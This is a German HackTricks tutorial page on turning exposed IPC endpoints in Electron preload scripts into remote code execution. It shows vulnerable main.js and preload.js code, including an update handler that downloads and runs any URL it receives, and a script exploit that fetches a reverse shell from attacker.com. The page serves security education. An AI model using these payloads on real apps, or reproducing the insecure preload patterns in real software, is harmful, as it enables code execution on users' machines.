Electron contextIsolation RCE via IPC

Unterstütze HackTricks

Wenn das Preload-Skript einen IPC-Endpunkt aus der main.js-Datei exponiert, kann der Renderer-Prozess darauf zugreifen und, falls verwundbar, könnte eine RCE möglich sein.

Die meisten dieser Beispiele stammen von hier https://www.youtube.com/watch?v=xILfQGkLXQo. Überprüfe das Video für weitere Informationen.

Beispiel 0

Beispiel von https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (du hast das vollständige Beispiel, wie MS Teams XSS zu RCE missbraucht hat, in diesen Folien, dies ist nur ein sehr einfaches Beispiel):

Beispiel 1

Überprüfe, wie die main.js auf getUpdate hört und jede URL herunterlädt und ausführt, die übergeben wird. Überprüfe auch, wie preload.js jedes IPC-Ereignis von main exponiert.

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

Exploit:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

Beispiel 2

Wenn das Preload-Skript direkt eine Möglichkeit bietet, shell.openExternal im Renderer aufzurufen, ist es möglich, RCE zu erlangen.

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

Beispiel 3

Wenn das Preload-Skript Möglichkeiten bietet, vollständig mit dem Hauptprozess zu kommunizieren, kann ein XSS jedes Ereignis senden. Die Auswirkungen hängen davon ab, was der Hauptprozess in Bezug auf IPC bereitstellt.

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
Unterstütze HackTricks

Last updated